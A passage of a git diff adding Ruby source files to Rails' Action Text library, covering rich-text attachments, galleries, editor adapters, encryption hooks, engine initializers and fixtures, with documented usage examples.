+    # The presentation can be overridden by implementing the
+    # `attachable_plain_text_representation` method:
+    #
+    #     class Person < ApplicationRecord
+    #       include ActionText::Attachable
+    #
+    #       def attachable_plain_text_representation
+    #         "[#{name}]"
+    #       end
+    #     end
+    #
+    #     attachable = Person.create! name: "Javan"
+    #     attachment = ActionText::Attachment.from_attachable(attachable)
+    #     attachment.to_plain_text # => "[Javan]"
+    def to_plain_text
+      if respond_to?(:attachable_plain_text_representation)
+        attachable_plain_text_representation(caption)
+      else
+        caption.to_s
+      end
+    end
+
+    # Converts the attachment to HTML.
+    #
+    #     attachable = Person.create! name: "Javan"
+    #     attachment = ActionText::Attachment.from_attachable(attachable)
+    #     attachment.to_html # => "<action-text-attachment sgid=\"BAh7CEk...
+    def to_html
+      HtmlConversion.node_to_html(node)
+    end
+
+    def to_s
+      to_html
+    end
+
+    def inspect
+      "#<#{self.class.name} attachable=#{attachable.inspect}>"
+    end
+
+    private
+      def node_attributes
+        @node_attributes ||= ATTRIBUTES.to_h { |name| [ name.underscore, node[name] ] }.compact
+      end
+
+      def attachable_attributes
+        @attachable_attributes ||= (attachable.try(:to_rich_text_attributes) || {}).stringify_keys
+      end
+
+      def sgid_attributes
+        @sgid_attributes ||= node_attributes.slice("sgid").presence || attachable_attributes.slice("sgid")
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/attachment_gallery.rb b/actiontext/lib/action_text/attachment_gallery.rb
new file mode 100644
index 0000000000000..fc690900ee3b4
--- /dev/null
+++ b/actiontext/lib/action_text/attachment_gallery.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  class AttachmentGallery
+    include ActiveModel::Model
+
+    TAG_NAME = "div"
+    private_constant :TAG_NAME
+
+    class << self
+      def fragment_by_canonicalizing_attachment_galleries(content)
+        fragment_by_replacing_attachment_gallery_nodes(content) do |node|
+          "<#{TAG_NAME}>#{node.inner_html}</#{TAG_NAME}>"
+        end
+      end
+
+      def fragment_by_replacing_attachment_gallery_nodes(content)
+        Fragment.wrap(content).update do |source|
+          find_attachment_gallery_nodes(source).each do |node|
+            node.replace(yield(node).to_s)
+          end
+        end
+      end
+
+      def find_attachment_gallery_nodes(content)
+        Fragment.wrap(content).find_all(selector).select do |node|
+          node.children.all? do |child|
+            if child.text?
+              /\A(\n|\ )*\z/.match?(child.text)
+            else
+              child.matches? attachment_selector
+            end
+          end
+        end
+      end
+
+      def from_node(node)
+        new(node)
+      end
+
+      def attachment_selector
+        "#{ActionText::Attachment.tag_name}[presentation=gallery]"
+      end
+
+      def selector
+        "#{TAG_NAME}:has(#{attachment_selector} + #{attachment_selector})"
+      end
+    end
+
+    attr_reader :node
+
+    def initialize(node)
+      @node = node
+    end
+
+    def attachments
+      @attachments ||= node.css(ActionText::AttachmentGallery.attachment_selector).map do |node|
+        ActionText::Attachment.from_node(node).with_full_attributes
+      end
+    end
+
+    def size
+      attachments.size
+    end
+
+    def inspect
+      "#<#{self.class.name} size=#{size.inspect}>"
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachments/caching.rb b/actiontext/lib/action_text/attachments/caching.rb
new file mode 100644
index 0000000000000..10f50dae49fa5
--- /dev/null
+++ b/actiontext/lib/action_text/attachments/caching.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Attachments
+    module Caching
+      def cache_key(*args)
+        [self.class.name, cache_digest, *attachable.cache_key(*args)].join("/")
+      end
+
+      private
+        def cache_digest
+          OpenSSL::Digest::SHA256.hexdigest(node.to_s)
+        end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachments/conversion.rb b/actiontext/lib/action_text/attachments/conversion.rb
new file mode 100644
index 0000000000000..30342e3cc1ba2
--- /dev/null
+++ b/actiontext/lib/action_text/attachments/conversion.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/object/try"
+
+module ActionText
+  module Attachments
+    module Conversion # :nodoc:
+      extend ActiveSupport::Concern
+
+      class_methods do
+        def fragment_by_converting_editor_attachments(content)
+          canonical_fragment = Fragment.wrap(content)
+
+          RichText.editor.as_canonical(canonical_fragment)
+        end
+      end
+
+      def to_editor_attachment
+        dup.to_editor_attachment!
+      end
+
+      def to_editor_attachment! # :nodoc:
+        if (content = editor_attachment_content)
+          node["content"] = content
+        end
+        self
+      end
+
+      private
+        def editor_attachment_content
+          if partial_path = (
+              attachable.try(:to_editor_content_attachment_partial_path) ||
+              ActionText.deprecator.silence { attachable.try(:to_trix_content_attachment_partial_path) }
+            )
+            ActionText::Content.render(partial: partial_path, formats: :html, object: self, as: model_name.element)
+          end
+        end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachments/minification.rb b/actiontext/lib/action_text/attachments/minification.rb
new file mode 100644
index 0000000000000..8ebe6ddbd9ad9
--- /dev/null
+++ b/actiontext/lib/action_text/attachments/minification.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Attachments
+    module Minification
+      extend ActiveSupport::Concern
+
+      class_methods do
+        def fragment_by_minifying_attachments(content)
+          Fragment.wrap(content).replace(ActionText::Attachment.tag_name) do |node|
+            node.tap { |n| n.inner_html = "" }
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attachments/trix_conversion.rb b/actiontext/lib/action_text/attachments/trix_conversion.rb
new file mode 100644
index 0000000000000..de570a95c4c3f
--- /dev/null
+++ b/actiontext/lib/action_text/attachments/trix_conversion.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/object/try"
+
+module ActionText
+  module Attachments
+    # DEPRECATED
+    module TrixConversion
+      extend ActiveSupport::Concern
+
+      class_methods do
+        def fragment_by_converting_trix_attachments(content)
+          fragment_by_converting_editor_attachments(content)
+        end
+        deprecate :fragment_by_converting_trix_attachments, deprecator: ActionText.deprecator
+
+        def from_trix_attachment(trix_attachment)
+          from_attributes(trix_attachment.attributes)
+        end
+        deprecate :from_trix_attachment, deprecator: ActionText.deprecator
+      end
+
+      def to_trix_attachment(content = trix_attachment_content)
+        attributes = full_attributes.dup
+        attributes["content"] = content if content
+        TrixAttachment.from_attributes(attributes)
+      end
+      deprecate :to_trix_attachment, deprecator: ActionText.deprecator
+
+      private
+        def trix_attachment_content
+          if partial_path = attachable.try(:to_trix_content_attachment_partial_path)
+            ActionText::Content.render(partial: partial_path, formats: :html, object: self, as: model_name.element)
+          end
+        end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/attribute.rb b/actiontext/lib/action_text/attribute.rb
new file mode 100644
index 0000000000000..4f4d2e6e2ce4e
--- /dev/null
+++ b/actiontext/lib/action_text/attribute.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Attribute
+    extend ActiveSupport::Concern
+
+    class_methods do
+      # Provides access to a dependent RichText model that holds the body and
+      # attachments for a single named rich text attribute. This dependent attribute
+      # is lazily instantiated and will be auto-saved when it's been changed. Example:
+      #
+      #     class Message < ActiveRecord::Base
+      #       has_rich_text :content
+      #     end
+      #
+      #     message = Message.create!(content: "<h1>Funny times!</h1>")
+      #     message.content? #=> true
+      #     message.content.to_s # => "<h1>Funny times!</h1>"
+      #     message.content.to_plain_text # => "Funny times!"
+      #
+      # The dependent RichText model will also automatically process attachments links
+      # as sent via the Trix-powered editor. These attachments are associated with the
+      # RichText model using Active Storage.
+      #
+      # If you wish to preload the dependent RichText model, you can use the named
+      # scope:
+      #
+      #     Message.all.with_rich_text_content # Avoids N+1 queries when you just want the body, not the attachments.
+      #     Message.all.with_rich_text_content_and_embeds # Avoids N+1 queries when you just want the body and attachments.
+      #     Message.all.with_all_rich_text # Loads all rich text associations.
+      #
+      # #### Options
+      #
+      # *   `:encrypted` - Pass true to encrypt the rich text attribute. The
+      #     encryption will be non-deterministic. See
+      #     `ActiveRecord::Encryption::EncryptableRecord.encrypts`. Default: false.
+      #
+      # *   `:strict_loading` - Pass true to force strict loading. When omitted,
+      #     `strict_loading:` will be set to the value of the
+      #     `strict_loading_by_default` class attribute (false by default).
+      #
+      # *   `:store_if_blank` - Pass false to not create RichText records with empty values,
+      #     if a blank value is provided. Default: true.
+      #
+      #
+      # Note: Action Text relies on polymorphic associations, which in turn store
+      # class names in the database. When renaming classes that use `has_rich_text`,
+      # make sure to also update the class names in the
+      # `action_text_rich_texts.record_type` polymorphic type column of the
+      # corresponding rows.
+      def has_rich_text(name, encrypted: false, strict_loading: strict_loading_by_default, store_if_blank: true)
+        class_eval <<-CODE, __FILE__, __LINE__ + 1
+          def #{name}
+            rich_text_#{name} || build_rich_text_#{name}
+          end
+
+          def #{name}?
+            rich_text_#{name}.present?
+          end
+        CODE
+
+        if store_if_blank
+          class_eval <<-CODE, __FILE__, __LINE__ + 1
+            def #{name}=(body)
+              self.#{name}.body = body
+            end
+          CODE
+        else
+          class_eval <<-CODE, __FILE__, __LINE__ + 1
+            def #{name}=(body)
+              if body.present?
+                self.#{name}.body = body
+              else
+                if #{name}?
+                  self.#{name}.body = body
+                  self.#{name}.mark_for_destruction
+                end
+              end
+            end
+          CODE
+        end
+
+        rich_text_class_name = encrypted ? "ActionText::EncryptedRichText" : "ActionText::RichText"
+        has_one :"rich_text_#{name}", -> { where(name: name) },
+          class_name: rich_text_class_name, as: :record, inverse_of: :record, autosave: true, dependent: :destroy,
+          strict_loading: strict_loading
+
+        scope :"with_rich_text_#{name}", -> { includes("rich_text_#{name}") }
+        scope :"with_rich_text_#{name}_and_embeds", -> { includes("rich_text_#{name}": { embeds_attachments: :blob }) }
+      end
+
+      # Eager load all dependent RichText models in bulk.
+      def with_all_rich_text
+        includes(rich_text_association_names)
+      end
+
+      # Returns the names of all rich text associations.
+      def rich_text_association_names
+        reflect_on_all_associations(:has_one).collect(&:name).select { |n| n.start_with?("rich_text_") }
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/content.rb b/actiontext/lib/action_text/content.rb
new file mode 100644
index 0000000000000..a85a9899d1c46
--- /dev/null
+++ b/actiontext/lib/action_text/content.rb
@@ -0,0 +1,206 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  # # Action Text Content
+  #
+  # The `ActionText::Content` class wraps an HTML fragment to add support for
+  # parsing, rendering and serialization. It can be used to extract links and
+  # attachments, convert the fragment to plain text, or serialize the fragment to
+  # the database.
+  #
+  # The ActionText::RichText record serializes the `body` attribute as
+  # `ActionText::Content`.
+  #
+  #     class Message < ActiveRecord::Base
+  #       has_rich_text :content
+  #     end
+  #
+  #     message = Message.create!(content: "<h1>Funny times!</h1>")
+  #     body = message.content.body # => #<ActionText::Content "<div class=\"trix-conte...">
+  #     body.to_s # => "<h1>Funny times!</h1>"
+  #     body.to_plain_text # => "Funny times!"
+  class Content
+    include Rendering, Serialization, ContentHelper
+
+    attr_reader :fragment
+
+    delegate :deconstruct, to: :fragment
+    delegate :blank?, :empty?, :html_safe, :present?, to: :to_html # Delegating to to_html to avoid including the layout
+
+    class << self
+      def fragment_by_canonicalizing_content(content)
+        fragment = ActionText::Attachment.fragment_by_canonicalizing_attachments(content)
+        fragment = ActionText::AttachmentGallery.fragment_by_canonicalizing_attachment_galleries(fragment)
+        fragment
+      end
+    end
+
+    def initialize(content = nil, options = {})
+      options.with_defaults! canonicalize: true
+
+      if options[:canonicalize]
+        @fragment = self.class.fragment_by_canonicalizing_content(content)
+      else
+        @fragment = ActionText::Fragment.wrap(content)
+      end
+    end
+
+    # Extracts links from the HTML fragment:
+    #
+    #     html = '<a href="http://example.com/">Example</a>'
+    #     content = ActionText::Content.new(html)
+    #     content.links # => ["http://example.com/"]
+    def links
+      @links ||= fragment.find_all("a[href]").map { |a| a["href"] }.uniq
+    end
+
+    # Extracts ActionText::Attachment objects from the HTML fragment:
+    #
+    #     attachable = ActiveStorage::Blob.first
+    #     html = %Q(<action-text-attachment sgid="#{attachable.attachable_sgid}" caption="Captioned"></action-text-attachment>)
+    #     content = ActionText::Content.new(html)
+    #     content.attachments # => [#<ActionText::Attachment attachable=#<ActiveStorage::Blob...
+    def attachments
+      @attachments ||= attachment_nodes.map do |node|
+        attachment_for_node(node)
+      end
+    end
+
+    def attachment_galleries
+      @attachment_galleries ||= attachment_gallery_nodes.map do |node|
+        attachment_gallery_for_node(node)
+      end
+    end
+
+    def gallery_attachments
+      @gallery_attachments ||= attachment_galleries.flat_map(&:attachments)
+    end
+
+    # Extracts ActionText::Attachable objects from the HTML fragment:
+    #
+    #     attachable = ActiveStorage::Blob.first
+    #     html = %Q(<action-text-attachment sgid="#{attachable.attachable_sgid}" caption="Captioned"></action-text-attachment>)
+    #     content = ActionText::Content.new(html)
+    #     content.attachables # => [attachable]
+    def attachables
+      @attachables ||= attachment_nodes.map do |node|
+        ActionText::Attachable.from_node(node)
+      end
+    end
+
+    def append_attachables(attachables)
+      attachments = ActionText::Attachment.from_attachables(attachables)
+      self.class.new([self.to_s.presence, *attachments].compact.join("\n"))
+    end
+
+    def render_attachments(**options, &block)
+      content = fragment.replace(ActionText::Attachment.tag_name) do |node|
+        if node.key?("content")
+          sanitized_content = sanitize_content_attachment(node.remove_attribute("content").to_s)
+          node["content"] = sanitized_content if sanitized_content.present?
+        end
+        block.call(attachment_for_node(node, **options))
+      end
+      self.class.new(content, canonicalize: false)
+    end
+
+    def render_attachment_galleries(&block)
+      content = ActionText::AttachmentGallery.fragment_by_replacing_attachment_gallery_nodes(fragment) do |node|
+        block.call(attachment_gallery_for_node(node))
+      end
+      self.class.new(content, canonicalize: false)
+    end
+
+    # Returns a plain-text version of the markup contained by the content, with tags
+    # removed but HTML entities encoded.
+    #
+    #     content = ActionText::Content.new("<h1>Funny times!</h1>")
+    #     content.to_plain_text # => "Funny times!"
+    #
+    #     content = ActionText::Content.new("<div onclick='action()'>safe<script>unsafe</script></div>")
+    #     content.to_plain_text # => "safeunsafe"
+    #
+    # NOTE: that the returned string is not HTML safe and should not be rendered in
+    # browsers without additional sanitization.
+    #
+    #     content = ActionText::Content.new("&lt;script&gt;alert()&lt;/script&gt;")
+    #     content.to_plain_text # => "<script>alert()</script>"
+    #     ActionText::ContentHelper.sanitizer.sanitize(content.to_plain_text) # => ""
+    def to_plain_text
+      render_attachments(with_full_attributes: false, &:to_plain_text).fragment.to_plain_text
+    end
+
+    def to_trix_html
+      to_editor_html
+    end
+    deprecate :to_trix_html, deprecator: ActionText.deprecator
+
+    def to_editor_html # :nodoc:
+      canonical_content = render_attachments(&:to_editor_attachment)
+      canonical_fragment = Fragment.wrap(canonical_content.fragment)
+
+      RichText.editor.as_editable(canonical_fragment).to_html
+    end
+
+    def to_html
+      fragment.to_html
+    end
+
+    def to_rendered_html_with_layout
+      render layout: "action_text/contents/content", partial: to_partial_path, formats: :html, locals: { content: self }
+    end
+
+    def to_partial_path
+      "action_text/contents/content"
+    end
+
+    # Safely transforms Content into an HTML String.
+    #
+    #     content = ActionText::Content.new(content: "<h1>Funny times!</h1>")
+    #     content.to_s # => "<h1>Funny times!</h1>"
+    #
+    #     content = ActionText::Content.new("<div onclick='action()'>safe<script>unsafe</script></div>")
+    #     content.to_s # => "<div>safeunsafe</div>"
+    def to_s
+      to_rendered_html_with_layout
+    end
+
+    def as_json(*)
+      to_html
+    end
+
+    def inspect
+      "#<#{self.class.name} #{to_html.truncate(25).inspect}>"
+    end
+
+    def ==(other)
+      if self.class == other.class
+        to_html == other.to_html
+      elsif other.is_a?(self.class)
+        to_s == other.to_s
+      end
+    end
+
+    private
+      def attachment_nodes
+        @attachment_nodes ||= fragment.find_all(ActionText::Attachment.tag_name)
+      end
+
+      def attachment_gallery_nodes
+        @attachment_gallery_nodes ||= ActionText::AttachmentGallery.find_attachment_gallery_nodes(fragment)
+      end
+
+      def attachment_for_node(node, with_full_attributes: true)
+        attachment = ActionText::Attachment.from_node(node)
+        with_full_attributes ? attachment.with_full_attributes : attachment
+      end
+
+      def attachment_gallery_for_node(node)
+        ActionText::AttachmentGallery.from_node(node)
+      end
+  end
+end
+
+ActiveSupport.run_load_hooks :action_text_content, ActionText::Content
diff --git a/actiontext/lib/action_text/deprecator.rb b/actiontext/lib/action_text/deprecator.rb
new file mode 100644
index 0000000000000..dfeff96e4c298
--- /dev/null
+++ b/actiontext/lib/action_text/deprecator.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/actiontext/lib/action_text/editor.rb b/actiontext/lib/action_text/editor.rb
new file mode 100644
index 0000000000000..d06941b7e3ead
--- /dev/null
+++ b/actiontext/lib/action_text/editor.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module ActionText
+  class Editor # :nodoc:
+    extend ActiveSupport::Autoload
+
+    autoload :Configurator
+    autoload :Registry
+
+    attr_reader :options
+
+    def initialize(options = {})
+      @options = options
+    end
+
+    # Convert fragments served by the editor into the canonical form that Action Text stores.
+    #
+    #   def as_canonical(editable_fragment)
+    #     editable_fragment.replace "my-editor-attachment" do |editor_attachment|
+    #       ActionText::Attachment.from_attributes(
+    #         "sgid" => editor_attachment["sgid"],
+    #         "content-type" => editor_attachment["content-type"]
+    #       )
+    #     end
+    #   end
+    def as_canonical(editable_fragment)
+      editable_fragment
+    end
+
+    # Convert fragments from the canonical form that Action Text stores into a format that is supported by the editor.
+    #
+    #   def as_editable(canonical_fragment)
+    #     canonical_fragment.replace ActionText::Attachment.tag_name do |action_text_attachment|
+    #       attachment_attributes = {
+    #         "sgid" => action_text_attachment["sgid"],
+    #         "content-type" => action_text_attachment["content-type"]
+    #       }
+    #
+    #       ActionText::HtmlConversion.create_element("my-editor-attachment", attachment_attributes)
+    #     end
+    #   end
+    def as_editable(canonical_fragment)
+      canonical_fragment
+    end
+
+    def editor_name
+      self.class.name.demodulize.delete_suffix("Editor").underscore
+    end
+
+    def editor_tag(...)
+      Tag.new(editor_name, ...)
+    end
+  end
+
+  class Editor::Tag # :nodoc:
+    cattr_accessor(:id, instance_accessor: false) { 0 }
+
+    attr_reader :editor_name
+    attr_reader :options
+
+    def initialize(editor_name, options = {})
+      @editor_name = editor_name
+      @options = options
+    end
+
+    def element_name
+      "#{editor_name}-editor"
+    end
+
+    def render_in(view_context)
+      options[:class] ||= "#{editor_name}-content"
+
+      view_context.content_tag(element_name, nil, options)
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/editor/configurator.rb b/actiontext/lib/action_text/editor/configurator.rb
new file mode 100644
index 0000000000000..36ac26d00ef20
--- /dev/null
+++ b/actiontext/lib/action_text/editor/configurator.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module ActionText
+  class Editor::Configurator # :nodoc:
+    attr_reader :configurations
+
+    def initialize(configurations)
+      @configurations = configurations
+    end
+
+    def build(editor_name)
+      editor_class = resolve(editor_name.to_s)
+      options = config_for(editor_name.to_sym)
+
+      editor_class.new(options)
+    end
+
+    def inspect # :nodoc:
+      attrs = configurations.any? ?
+        " configurations=[#{configurations.keys.map(&:inspect).join(", ")}]" : ""
+      "#<#{self.class}#{attrs}>"
+    end
+
+    private
+      def config_for(name)
+        configurations.fetch name do
+          raise "Missing configuration for the #{name.inspect} Action Text editor. Configurations available for #{configurations.keys.inspect}"
+        end
+      end
+
+      def resolve(class_name)
+        require "action_text/editor/#{class_name.underscore}_editor"
+
+        Editor.const_get(:"#{class_name.camelize}Editor")
+      rescue LoadError
+        raise "Missing editor adapter for #{class_name.inspect}"
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/editor/registry.rb b/actiontext/lib/action_text/editor/registry.rb
new file mode 100644
index 0000000000000..bd60e5fd0e2d1
--- /dev/null
+++ b/actiontext/lib/action_text/editor/registry.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ActionText
+  class Editor::Registry # :nodoc:
+    def initialize(configurations)
+      @configurations = configurations.to_h
+      @editors = {}
+    end
+
+    def fetch(name)
+      editors.fetch(name.to_sym) do |key|
+        if configurations.include?(key)
+          editors[key] = configurator.build(key)
+        else
+          if block_given?
+            yield key
+          else
+            raise KeyError, "Missing configuration for the #{key} Action Text editor. " \
+              "Configurations available for the #{configurations.keys.to_sentence} editors."
+          end
+        end
+      end
+    end
+
+    def inspect # :nodoc:
+      attrs = configurations.any? ?
+        " configurations=[#{configurations.keys.map(&:inspect).join(", ")}]" : ""
+      "#<#{self.class}#{attrs}>"
+    end
+
+    private
+      attr_reader :configurations, :editors
+
+      def configurator
+        @configurator ||= Editor::Configurator.new(configurations)
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/editor/trix_editor.rb b/actiontext/lib/action_text/editor/trix_editor.rb
new file mode 100644
index 0000000000000..fff76c96e6b73
--- /dev/null
+++ b/actiontext/lib/action_text/editor/trix_editor.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActionText
+  class Editor::TrixEditor < Editor # :nodoc:
+    def as_canonical(editable_fragment)
+      editable_fragment.replace(TrixAttachment::SELECTOR, &method(:from_trix_attachment))
+    end
+
+    def as_editable(canonical_fragment)
+      canonical_fragment.replace(Attachment.tag_name, &method(:to_trix_attachment))
+    end
+
+    def editor_tag(...)
+      Tag.new(editor_name, ...)
+    end
+
+    private
+      def to_trix_attachment(node)
+        attachment_attributes = node.attributes
+        TrixAttachment.from_attributes(attachment_attributes)
+      end
+
+      def from_trix_attachment(node)
+        trix_attachment = TrixAttachment.new(node)
+        Attachment.from_attributes(trix_attachment.attributes)
+      end
+  end
+
+  class Editor::TrixEditor::Tag < Editor::Tag # :nodoc:
+    def render_in(view_context, ...)
+      name = options.delete(:name)
+      form = options.delete(:form)
+      value = options.delete(:value)
+
+      options[:input] ||= options[:id] ?
+        "#{options[:id]}_#{editor_name}_input_#{name.to_s.gsub(/\[.*\]/, "")}" :
+        "#{editor_name}_input_#{self.class.id += 1}"
+      input_tag = view_context.hidden_field_tag(name, value, id: options[:input], form: form)
+
+      input_tag + super
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/encryption.rb b/actiontext/lib/action_text/encryption.rb
new file mode 100644
index 0000000000000..0566112889ebb
--- /dev/null
+++ b/actiontext/lib/action_text/encryption.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  module Encryption
+    def encrypt
+      transaction do
+        super
+        encrypt_rich_texts if has_encrypted_rich_texts?
+      end
+    end
+
+    def decrypt
+      transaction do
+        super
+        decrypt_rich_texts if has_encrypted_rich_texts?
+      end
+    end
+
+    private
+      def encrypt_rich_texts
+        encryptable_rich_texts.each(&:encrypt)
+      end
+
+      def decrypt_rich_texts
+        encryptable_rich_texts.each(&:decrypt)
+      end
+
+      def has_encrypted_rich_texts?
+        encryptable_rich_texts.present?
+      end
+
+      def encryptable_rich_texts
+        @encryptable_rich_texts ||= self.class.rich_text_association_names
+          .filter_map { |attribute_name| send(attribute_name) }
+          .find_all { |record| record.is_a?(ActionText::EncryptedRichText) }
+      end
+  end
+end
diff --git a/actiontext/lib/action_text/engine.rb b/actiontext/lib/action_text/engine.rb
new file mode 100644
index 0000000000000..c57c02c014e4a
--- /dev/null
+++ b/actiontext/lib/action_text/engine.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "rails"
+require "action_controller/railtie"
+require "active_record/railtie"
+require "active_storage/engine"
+
+require "action_text"
+require "action_text/trix"
+
+module ActionText
+  class Engine < Rails::Engine
+    isolate_namespace ActionText
+    config.eager_load_namespaces << ActionText
+
+    config.action_text = ActiveSupport::OrderedOptions.new
+    config.action_text.editors = ActiveSupport::InheritableOptions.new(
+      trix: {}
+    )
+    config.action_text.editor = :trix
+    config.action_text.attachment_tag_name = "action-text-attachment"
+    config.autoload_once_paths = %W(
+      #{root}/app/helpers
+      #{root}/app/models
+    )
+
+    initializer "action_text.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:action_text] = ActionText.deprecator
+    end
+
+    initializer "action_text.attribute" do
+      ActiveSupport.on_load(:active_record) do
+        include ActionText::Attribute
+        prepend ActionText::Encryption
+      end
+    end
+
+    initializer "action_text.asset" do
+      if Rails.application.config.respond_to?(:assets)
+        Rails.application.config.assets.precompile += %w( actiontext.js actiontext.esm.js )
+      end
+    end
+
+    initializer "action_text.attachable" do
+      ActiveSupport.on_load(:active_storage_blob) do
+        include ActionText::Attachable
+
+        def previewable_attachable?
+          representable?
+        end
+
+        def attachable_plain_text_representation(caption = nil)
+          "[#{caption || filename}]"
+        end
+
+        def to_trix_content_attachment_partial_path
+          to_editor_content_attachment_partial_path
+        end
+        deprecate :to_trix_content_attachment_partial_path, deprecator: ActionText.deprecator
+
+        def to_editor_content_attachment_partial_path
+          nil
+        end
+      end
+    end
+
+    initializer "action_text.helper" do
+      %i[action_controller_base action_mailer].each do |base|
+        ActiveSupport.on_load(base) do
+          helper ActionText::Engine.helpers
+        end
+      end
+    end
+
+    initializer "action_text.editors" do |app|
+      ActiveSupport.on_load :action_text_rich_text do
+        self.editors = Editor::Registry.new(app.config.action_text.editors)
+
+        if (editor_name = app.config.action_text.editor)
+          self.editor = editors.fetch(editor_name)
+        end
+      end
+    end
+
+    initializer "action_text.renderer" do
+      %i[action_controller_base action_mailer].each do |base|
+        ActiveSupport.on_load(base) do
+          around_action do |controller, action|
+            ActionText::Content.with_renderer(controller, &action)
+          end
+        end
+      end
+    end
+
+    initializer "action_text.system_test_helper" do
+      ActiveSupport.on_load(:action_dispatch_system_test_case) do
+        require "action_text/system_test_helper"
+        include ActionText::SystemTestHelper
+      end
+    end
+
+    initializer "action_text.configure" do |app|
+      ActionText::Attachment.tag_name = app.config.action_text.attachment_tag_name
+    end
+
+    config.after_initialize do |app|
+      if klass = app.config.action_text.sanitizer_vendor
+        ActiveSupport.on_load(:action_view) do
+          ActionText::ContentHelper.sanitizer = klass.safe_list_sanitizer.new
+        end
+      end
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/fixture_set.rb b/actiontext/lib/action_text/fixture_set.rb
new file mode 100644
index 0000000000000..68492d828460c
--- /dev/null
+++ b/actiontext/lib/action_text/fixture_set.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  # # Action Text FixtureSet
+  #
+  # Fixtures are a way of organizing data that you want to test against; in short,
+  # sample data.
+  #
+  # To learn more about fixtures, read the ActiveRecord::FixtureSet documentation.
+  #
+  # ### YAML
+  #
+  # Like other Active Record-backed models, ActionText::RichText records inherit
+  # from ActiveRecord::Base instances and can therefore be populated by fixtures.
+  #
+  # Consider an `Article` class:
+  #
+  #     class Article < ApplicationRecord
+  #       has_rich_text :content
+  #     end
+  #
+  # To declare fixture data for the related `content`, first declare fixture data
+  # for `Article` instances in `test/fixtures/articles.yml`:
+  #
+  #     first:
+  #       title: An Article
+  #
+  # Then declare the ActionText::RichText fixture data in
+  # `test/fixtures/action_text/rich_texts.yml`, making sure to declare each
+  # entry's `record:` key as a polymorphic relationship:
+  #
+  #     first:
+  #       record: first (Article)
+  #       name: content
+  #       body: <div>Hello, world.</div>
+  #
+  # When processed, Active Record will insert database records for each fixture
+  # entry and will ensure the Action Text relationship is intact.
+  class FixtureSet
+    # Fixtures support Action Text attachments as part of their `body` HTML.
+    #
+    # ### Examples
+    #
+    # For example, consider a second `Article` fixture declared in
+    # `test/fixtures/articles.yml`:
+    #
+    #     second:
+    #       title: Another Article
+    #
+    # You can attach a mention of `articles(:first)` to `second`'s `content` by
+    # embedding a call to `ActionText::FixtureSet.attachment` in the `body:` value
+    # in `test/fixtures/action_text/rich_texts.yml`:
+    #
+    #     second:
+    #       record: second (Article)
+    #       name: content
+    #       body: <div>Hello, <%= ActionText::FixtureSet.attachment("articles", :first) %></div>
+    #
+    def self.attachment(fixture_set_name, label, column_type: :integer)
+      signed_global_id = ActiveRecord::FixtureSet.signed_global_id fixture_set_name, label,
+        column_type: column_type, for: ActionText::Attachable::LOCATOR_NAME
+
+      %(<#{Attachment.tag_name} sgid="#{signed_global_id}"></#{Attachment.tag_name}>)
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/fragment.rb b/actiontext/lib/action_text/fragment.rb
new file mode 100644
index 0000000000000..34edde6013fbf
--- /dev/null
+++ b/actiontext/lib/action_text/fragment.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionText
+  class Fragment
+    class << self
+      def wrap(fragment_or_html)
+        case fragment_or_html
+        when self
+          fragment_or_html
+        when Nokogiri::XML::DocumentFragment # base class for all fragments
+          new(fragment_or_html)
+        else
+          from_html(fragment_or_html)
+        end
+      end
+
+      def from_html(html)
+        new(ActionText::HtmlConversion.fragment_for_html(html.to_s.strip))
+      end
+    end
+
+    attr_reader :source
+
+    delegate :deconstruct, to: "source.elements"
+
+    def initialize(source)
+      @source = source
+    end
+
+    def find_all(selector)
+      source.css(selector)
+    end
+
+    def update
+      yield source = self.source.dup
+      self.class.new(source)
+    end
+
+    def replace(selector)
+      update do |source|
+        source.css(selector).each do |node|
+          replacement_node = yield(node)
+          node.replace(replacement_node.to_s) if node != replacement_node
+        end
+      end
+    end
+
+    def to_plain_text
+      @plain_text ||= PlainTextConversion.node_to_plain_text(source)
+    end
+
+    def to_html
+      @html ||= HtmlConversion.node_to_html(source)
+    end
+
+    def to_s
+      to_html
+    end
+  end
+end
diff --git a/actiontext/lib/action_text/gem_version.rb b/actiontext/lib/action_text/gem_version.rb
new file mode 100644
index 0000000000000..9bad1e6af8884
--- /dev/null
